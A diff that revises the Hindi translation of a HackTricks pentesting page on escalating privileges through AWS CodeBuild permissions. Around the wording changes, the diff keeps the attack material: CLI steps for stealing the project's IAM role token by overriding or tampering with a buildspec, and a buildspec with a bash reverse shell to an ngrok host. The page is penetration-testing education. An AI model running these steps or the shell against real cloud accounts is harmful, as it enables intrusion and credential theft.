Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md

@@ -12,7 +12,7 @@
 
 ### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
 
-इनमें से किसी एक अनुमति के साथ एक नया buildspec के साथ एक निर्माण को ट्रिगर करना और परियोजना को सौंपे गए iam भूमिका का टोकन चुराना पर्याप्त है:
+इनमें से किसी एक अनुमति के साथ, एक नए buildspec के साथ एक निर्माण को ट्रिगर करना और परियोजना को सौंपे गए iam भूमिका का टोकन चुराना पर्याप्त है:
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -61,13 +61,13 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
 **नोट**: इन दोनों कमांड के बीच का अंतर यह है:
 
 - `StartBuild` एक विशिष्ट `buildspec.yml` का उपयोग करके एकल निर्माण कार्य को ट्रिगर करता है।
-- `StartBuildBatch` आपको निर्माणों के एक बैच को शुरू करने की अनुमति देता है, जिसमें अधिक जटिल कॉन्फ़िगरेशन होते हैं (जैसे कई निर्माणों को समानांतर में चलाना)।
+- `StartBuildBatch` आपको अधिक जटिल कॉन्फ़िगरेशन के साथ निर्माण के बैच को शुरू करने की अनुमति देता है (जैसे कई निर्माणों को समानांतर में चलाना)।
 
-**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेस्क।
+**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे विशेषाधिकार वृद्धि।
 
 ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-एक हमलावर जिसके पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** अनुमतियाँ हैं, वह **किसी भी codebuild IAM भूमिका के लिए प्रिविलेज़ बढ़ा सकता है** एक चल रही भूमिका बनाकर।
+एक हमलावर जिसके पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** अनुमतियाँ हैं, वह **किसी भी codebuild IAM भूमिका के लिए विशेषाधिकार बढ़ा सकता है** एक चल रही भूमिका बनाकर।
 
 {{#tabs }}
 {{#tab name="Example1" }}
@@ -218,11 +218,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file
 
 aws codebuild start-build --project-name codebuild-demo-project
 ```
-**संभावित प्रभाव:** किसी भी AWS Codebuild भूमिका के लिए सीधे प्रिवेलेज वृद्धि।
+**संभावित प्रभाव:** किसी भी AWS Codebuild भूमिका के लिए सीधे प्रिवेस्क।
 
 ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-पिछले अनुभाग की तरह लेकिन **`iam:PassRole` अनुमति के बिना**, आप इस अनुमति का दुरुपयोग करके **मौजूदा Codebuild परियोजनाओं को संशोधित कर सकते हैं और उस भूमिका तक पहुँच प्राप्त कर सकते हैं जो पहले से ही असाइन की गई है**।
+पिछले अनुभाग की तरह लेकिन **`iam:PassRole` अनुमति के बिना**, आप इस अनुमति का दुरुपयोग करके **मौजूदा Codebuild परियोजनाओं को संशोधित कर सकते हैं और उस भूमिका तक पहुंच प्राप्त कर सकते हैं जो पहले से ही असाइन की गई है**।
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -323,9 +323,9 @@ For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-एक हमलावर जो एक विशेष CodeBuild प्रोजेक्ट का निर्माण/पुनः निर्माण शुरू कर सकता है, जो अपना `buildspec.yml` फ़ाइल एक S3 बकेट पर संग्रहीत करता है, जिसमें हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है।
+एक हमलावर जो एक विशेष CodeBuild प्रोजेक्ट का निर्माण शुरू/पुनः प्रारंभ करने में सक्षम है, जो अपना `buildspec.yml` फ़ाइल एक S3 बकेट पर संग्रहीत करता है, जिस पर हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है।
 
-Note: यह वृद्धि केवल तभी प्रासंगिक है जब CodeBuild कार्यकर्ता की भूमिका हमलावर की भूमिका से भिन्न हो, जो कि अधिक विशेषाधिकार प्राप्त हो।
+Note: यह वृद्धि केवल तभी प्रासंगिक है जब CodeBuild कार्यकर्ता की भूमिका हमलावर की भूमिका से अलग हो, उम्मीद है कि अधिक विशेषाधिकार प्राप्त हो।
 ```bash
 aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
 
@@ -342,7 +342,7 @@ aws codebuild start-build --project-name <project-name>
 
 # Wait for the reverse shell :)
 ```
-आप **reverse shell** प्राप्त करने के लिए कुछ ऐसा **buildspec** का उपयोग कर सकते हैं:
+आप **reverse shell** प्राप्त करने के लिए ऐसा कुछ **buildspec** का उपयोग कर सकते हैं:
 ```yaml:buildspec.yml
 version: 0.2
 
@@ -351,13 +351,13 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**प्रभाव:** AWS CodeBuild कार्यकर्ता द्वारा उपयोग की जाने वाली भूमिका में सीधे प्रिविलेज़ वृद्धि, जो आमतौर पर उच्च प्रिविलेज़ रखती है।
+**प्रभाव:** AWS CodeBuild कार्यकर्ता द्वारा उपयोग की जाने वाली भूमिका में सीधे प्रिवेलेज वृद्धि, जो आमतौर पर उच्च प्रिविलेज रखती है।
 
 > [!WARNING]
 > ध्यान दें कि buildspec को ज़िप प्रारूप में अपेक्षित किया जा सकता है, इसलिए एक हमलावर को डाउनलोड, अनज़िप, रूट निर्देशिका से `buildspec.yml` को संशोधित करना, फिर से ज़िप करना और अपलोड करना होगा।
 
 अधिक विवरण [यहाँ](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) मिल सकते हैं।
 
-**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं में सीधे प्रिविलेज़ वृद्धि।
+**संभावित प्रभाव:** संलग्न AWS Codebuild भूमिकाओं में सीधे प्रिवेलेज वृद्धि।
 
 {{#include ../../../banners/hacktricks-training.md}}